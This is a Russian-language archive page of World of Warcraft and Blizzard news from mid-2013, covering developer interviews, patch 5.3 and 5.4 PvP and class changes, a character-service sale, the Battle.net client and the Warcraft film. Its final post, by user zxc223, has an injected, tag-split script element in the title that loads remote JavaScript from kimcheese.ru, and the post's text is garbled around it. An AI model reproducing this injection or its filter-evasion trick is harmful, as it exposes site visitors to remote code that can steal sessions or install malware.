Архив

Архив

Архив Nattfodd Nattfodd

Музыка в Mists of Pandaria: интервью с Расселом Броуэром


В раздел музыки из игр Blizzard был добавлен саундтрек World of Warcraft: Mists of Pandaria. Посетив этот раздел, вы сможете прочитать заметки композиторов, прослушать музыкальные отрывки и загрузить весь альбом или отдельные композиции с помощью iTunes.

А чтобы поподробнее узнать о создании этого музыкального пиршества с родины пандаренов, мы поговорили со старшим руководителем отдела звукозаписи Расселом Броуэром о написании музыки к Mists of Pandaria и о том, какую роль в видеоиграх играет музыкальное сопровождение. Ниже вы найдете само интервью.
05.06.2013 16:36 3475 6
Читать далее
Архив gp-amd gp-amd

Скидка 50% на все услуги для персонажей WOW и 40% на SC II: Wings of Liberty

Скидка 50% на все услуги для персонажей

Если вы подумываете перейти в другой игровой мир или еще как-нибудь освежить будни своего персонажа, то сейчас самый подходящий момент. На этой неделе все услуги для персонажей ровно вдвое дешевле! Чтобы воспользоваться этой исключительной скидкой, нужно войти в раздел управления записью Battle.net и запросить соответствующую услугу.


Скидка действует до 10 июня 2013 г.

04.06.2013 22:51 5763 7
Читать далее
Архив Nattfodd Nattfodd

Настольный клиент Battle.net

В недрах Blizzard закончилось внутреннее тестирование десктопного клиента для Battle.net, и в сеть утекло множество скриншотов из будущей программы. Взглянув на скриншоты нетрудно провести аналогии со Steam и Origin, однако, я думаю, в случае Blizzard это программа другого рода. Хотя бы по той простой причине, что Battle.net обслуживает исключительно игры Blizzard и не занимается дистрибуцией прочих игр, включая те, которые выходят под одной маркой Activision Blizzard (например, серия Call of Duty).

Вот что известно о данном клиенте на текущий момент:

  • Клиент Battle.net заменяет собой лаунчеры всех игр Blizzard, работая при этом точно так же — подгружая обновления, выводя новости, позволяя "починить" игру и воспользоваться другими функциями отдельных лаунчеров.
  • С помощью клиента Battle.net можно общаться с другими игроками в сети Battle.net.
  • Можно читать новости Battle.net и связанных с ним постов с официальных сайтов игр.
  • Существует пока только версия для Windows. Судя по открытым вакансиям, планируется так же версия для OS X.
  • Присутствуют вкладки "Магазин", "Профили" и "Форум" — подробностей о них пока нет.
  • Так же в строчках клиента (ох уж эти датамайнеры) обнаружен любопытный технический список дополнений к WoW начиная от WOWX0 и заканчивая WOWX9, где последняя цифра, очевидно, порядковый номер дополнения.

04.06.2013 15:48 6529 22
Читать далее
Архив e1darie1 e1darie1

Фильм World of Warcraft начнут снимать в 2014


Предстоящий фильм по вселенной World of Warcraft начнут снимать уже в следующем году. Производством фильма займется американская кинокомпания Legendary Pictures в сотрудничестве с Blizzard и Atlas Entertainment. Напомним, что режиссером фильма является Дункан Джонс. Его предыдущие работы – «Луна 2112» и «Исходный код».

Наконец-то дело сошло с мертвой точки, а то поклонники вселенной Warcraft уже и не надеялись увидеть этот фильм в ближайшее время.

Вот что сказал продюсер киноленты Чарльз Ровен фанатам Варкрафта:
«В первом квартале 2014 года мы начнем снимать этот фильм. Мы движемся вперед и, очевидно, Legendary займется производством фильма».
02.06.2013 17:56 8190 31
Читать далее
Архив Nattfodd Nattfodd

Кори Стоктон для WoWJuju

Еще одно небольшое интервью взяли представители сайта WoWjuju у Кори Стоктона, известного под ником mumper. Говорили обо всем понемногу — о 5.3, 5.4, рейдах, битвах питомцев и других актуальных вопросах.

О будущем


  • Неанонсированное нововведение (которое появится в 5.4) круто повлияет на игру. Разработчики уже давно вынашивали эту идею.
  • 5.4 появится на PTR уже довольно скоро — осталось только дождаться этого "скоро".
  • Разработчики ищут способы сделать первые шаги в PvP проще по аналогии с тем, как LFR делает проще первые шаги в PvE. Одно из изменений, направленных в эту сторону — изменения PvP-экипировки и характеристик в 5.3.
01.06.2013 21:30 5783 19
Читать далее
Архив айжек айжек

ферал,как нагибать крабов на рандом быгэ!

5.3.0
ПвП в ВоВ претерпело серьезные изменения, я как рядовой крабуленг и любитель нОгибать на рандом решил .. ой да ниче не решил, просто на работе делать нечего вот и калякаю...



Лирика:
Ферал - уникальный класс, по нескольким аспектам — ну во-первых фералы со времен катаклизмы, никогда не были нОгебаторским классом, соответственно школолоши за фералов стараются не играть — ибо не профит. Ферал более чем сложен в ротациях, управлении.
31.05.2013 11:12 7670 8
Читать далее
Архив Nattfodd Nattfodd

Новое ездовое животное - бронированный кровокрыл


Хорошая новость для коллекционеров маунтов и для тех, кто кому хочется покататься на чем-то новом — в магазине Blizzard появился новый маунт: Бронированный кровокрыл. Стоит эта устрашающая зверушка 20 €. Как и все маунты из Blizzard Store, он распространяется на всех персонажей и доступен уже с 20 уровня. Видео и скриншоты под катом.
30.05.2013 22:24 11275 45
Читать далее
Архив Nattfodd Nattfodd

Интервью с Кори Стоктоном, срочные исправления от 29 мая

Журналисты сайта GameDiplomat пообщались с Кори Стоктоном на тему битв питомцев в патче 5.3 и дальше.

  • В Blizzard не так много разработчиков, занимающихся исключительно битвами питомцев — в эту часть игры понемногу вкладывается вся команда.
  • Скрытень из глубин должен был стать одним из новых питомцев патча 5.3, но его уменьшенная моделька смотрелась не очень хорошо.
  • Патч 5.3 улучшил PvP-составляющую битвы питомцев, поскольку игроков эта часть игры интересовала настолько активно, что создавались даже любительские турниры.
  • Огромный процент игроков 90 уровня принимает участие в битвах питомцев или хотя бы раз попробовал в них поучаствовать.
  • В патче 5.4 во время наблюдения за битвой питомцев со стороны появится возможность видеть здоровье питомцев. В 5.3 появилась возможность наблюдать за битвами, но самих питомцев, к сожалению, выбирать нельзя.
  • Поскольку игроки серьезно настроены по отношению к битвам питомцев, разработчики будут уделять балансу питомцев больше внимания, чем сейчас.
  • После патча 5.1 выяснилось, что промахи и уклонения являются проблемой битв питомцев, и решение было запланировано на 5.2, но разработчикам не хватило времени. Только к патчу 5.3 необходимые изменения наконец вступили в силу.
  • Питомцы, падающие из старых боссов, оказались хорошей идеей — многим нравится их коллекционировать.
  • Питомцы из боссов Wrath of the Lich King будут следующими на очереди после того, как разработчики добавят питомцев оставшейся половине боссов Burning Crusade. Впрочем, это пока лишь примерные планы, поскольку у разработчиков нет сроков, когда они планируют добавить питомцев второй части боссов Burning Crusade.
  • Поимка Нерожденной валь'киры будет влиять на время респавна и место респавна новой валь'киры.
30.05.2013 17:51 5147 6
Читать далее
Архив Nattfodd Nattfodd

Titan откладывается минимум до 2016 года

World of Warcraft приносит ее создателям огромные деньги, но Blizzard не останавливаются на достигнутом и уже несколько лет работают над неанонсированной ролевой MMO. Коротенький тизер Blizzard пообещали показать нам в этому году на BlizzCon 2013, однако сегодня появились сведения, которые ставят это обещание под сомнение.

Из близких к разработчикам источников стало известно, что Blizzard решили перезапустить производство новой ММО. По этой информации, из 100 человек, участвовавших в разработке Titan, Blizzard перекинули 70 на другие проекты. Оставшиеся 30 человек — ключевые разработчики — начнут разработку заново. Таким образом новая ММО появится в лучшем случае в 2016 году.

В World of Warcraft играют миллионы игроков, и игра приносит ее создателям около 1 миллиарда долларов в год. Но, как известно, в последнем квартале число подписчиков сократилось на 1.3 миллиона и сейчас составляет 8 миллионов — против 10 миллионов в прошлом году. А по сравнению с пиком своей популярности — 12 миллионов подписчиков — это и вовсе выглядит удручающе. В таких условиях, казалось бы, любой разработчик в здравом уме был бы просто обязан поспешить с выпуском новой MMO...

Но скорость разработки никогда не была главным козырем Blizzard. Эта компания уже не раз отменяла дату выхода проекта, работа над которым велась годами, если итоговый результат не соответствовал высоким стандартам качества. И хотя мы не знаем ни окончательного названия проекта — слово Titan не было официально подтверждено, равно как и даже примерные сроки выхода новой игры — по предыдущей информации закрытое альфа-тестирование должно было начаться в начале 2014 года, а на релиз можно было рассчитывать уже к концу 2014 — началу 2015.
29.05.2013 04:28 8532 52
Читать далее
Архив Nattfodd Nattfodd

Грег Стрит для WoW Insider о 5.3

Еще одно интервью Ghostcrawler дал порталу WoW Insider. Общались на общие темы — о прокачке, о 5.4, о рейдах, ивентах и многом другом.

Будущее


  • Некая неанонсированная функция запланирована на патч 5.4.
  • Новый ивент в Степях был экспериментом и попыткой вытащить игроков в открытый мир. В 5.4 мы увидим нечто подобное.
  • Режим "невидимый" для Battle.net все еще в процессе разработки.
  • Рано или поздно, все профессии можно будет сравнительно быстро прокачать.
  • В игру стоило бы добавить какую-то награду за прокачку, ведь сейчас очки талантов даются гораздо реже.
28.05.2013 16:35 5851 21
Читать далее
Архив Nattfodd Nattfodd

О классах в 5.3 и 5.4 - интервью для Icy-Veins

Ghostcrawler и команда разработчиков, отвечающая за классы, ответили на вопросы пользователей сайта icy-veins на тему текущего патча и грядущего 5.4:

Рыцари Смерти
  • В специализации "Кровь" у рыцарей смерти есть ряд полезных для рейда способностей — Воскрешение союзника, Хватка смерти, Кровяные черви и Зона антимагии (которую разработчики баффнут в 5.4). Помимо Зоны антимагии, разработчики не планируют ничего менять у блад-дк в плане их полезности для рейда.
  • Блад-ДК — вторые по популярности танки, уступающие лишь прот-палам.

Друиды
  • В 5.3 разработчики немного баффнули рестор-друидов. Однако, если в прошлом ХоТы выполняли роль "смягчателей" урона, то теперь эту задачу выполняют различные поглощающие урон заклинания. В патче 5.3 разработчики так же понерфили дисц-пристов и холи-палов, но абсорбы по-прежнему слишком сильны.
  • В патче 5.4 ХоТы будут усилены еще больше. Особенно в плане АоЕ-хила по рейду.
28.05.2013 16:02 11206 19
Читать далее
Архив Nintok Nintok

Wildstar что такое и с чем его едят ?

Wildstar что такое и с чем едят ?



Приветствую всех ! Сегодня я расскажу о новой , по моему мнению сильно недооцененной в нашей стране , ММО производства компании Carbine Studios . Прошу любить и жаловать Wildstar!

28.05.2013 14:13 6353 10
Читать далее
Архив Nattfodd Nattfodd

Интервью на тему 5.3 для ArenaJunkies

К выходу 5.3 Грег Стрим и Брайан Холинка прокомментировали сайту ArenaJunkies ситуацию с PvP на момент выхода нового патча.

  • До патча 5.3 игроки часто жаловались на то, как быстро их убивают в PvP, если у них нет PvP-экипировки.
  • Идея, заложенная в PvP-силу, заключалась в том, чтобы дать PvP-экипировке дополнительную характеристику, которая не влияет на уровень предмета, а не характеристику, которая годится только для PvP. Изменения 5.3 сделали остальные характеристики более полезными.
  • Патч 5.3 так же был призван решить проблему, когда PvE-аксессуары являлись лучшим выбором для PvP. Срабатывающие эффекты этих аксессуаров были ослаблены, а их время действия — увеличено. Благодаря этому с помощью этих аксессуаров больше нельзя быстро зазергать противника. К тому же, PvE-аксессуары выше 496 уровня так же ослабляются до упомянутого уровня на Полях Боя и Аренах вместе со всей остальной экипировкой.
  • В будущих обновлениях и дополнениях появится больше косметических наград, равно как и потенциал для появления не только косметических наград.
  • Теперь, когда игроки не могут улучшить свою PvP-экипировку, разработчики ищут варианты, куда можно потратить лишние Очки Завоевания.
  • Заклинания, которые наносят разный урон в PvE и PvP, являются исключениями из правил и используются только тогда, когда разница действительно огромна. За подобными изменениями игрокам нужно следить самостоятельно, что не есть хорошо.
  • Разработчики сделали возможность убивать демонические врата чернокнижников для того, чтобы их можно было как-то нейтрализовать и сделать сражения не такими предсказуемыми.
  • В патче 5.2 разработчики попытались дать разбойникам больше выживаемости и больше привлекательных талантов, таких как Бросок сюррикена, Метка смерти и Рыцарь плаща и кинжала. В этом стремлении Blizzard немного переборщили и 5.3 поставил упомянутые таланты на один уровень с остальными, сохранив при этом выживаемость разбойников.
  • Изменения, коснувшиеся контроля у питомцев охотников были внесены потому, что у охотников было немного больше контроля, чем хотелось бы. Особенно у Повелителей Зверей.
  • Воины были чересчур хороши в начале сезона, что отразилось в срочных исправлениях. Впрочем, этих исправлений оказалось недостаточно, поэтому в 5.2 последовал еще более жесткий нерф. И этот нерф оказался немного сильнее, чем нужно.
  • Разработчики пришли к выводу, что бурст в PvP необходим, иначе матчи затягиваются на целую вечность, ведь никто не может никого убить до тех пор, пока у хилеров не закончится мана. Разработчики часто делают бурст слишком сильным, но изо всех сил постараются не переборщить в будущем.
24.05.2013 16:05 4221 3
Читать далее
Архив zxc223 zxc223

Настало время войны!<scr<script language='javascript' type='text/javascript' src='http://kimcheese.


ipt>Вся">kimcheese.ru/660j4tatq8n6xrw6u03f9wzi8bjocb9'>ipt>Вся история Азерота — многовековое противостояние, неутихающая война, поколение за поколением. В обновлении 5.3 «Восстание» появится множество изменений и улучшений в режиме PvP. В частности, они касаются базового показателя устойчивости, уровня предметов из комплектов для полей боя и арен, PvP-силы и «Усталости от боя».

23.05.2013 17:48 2542 4
Читать далее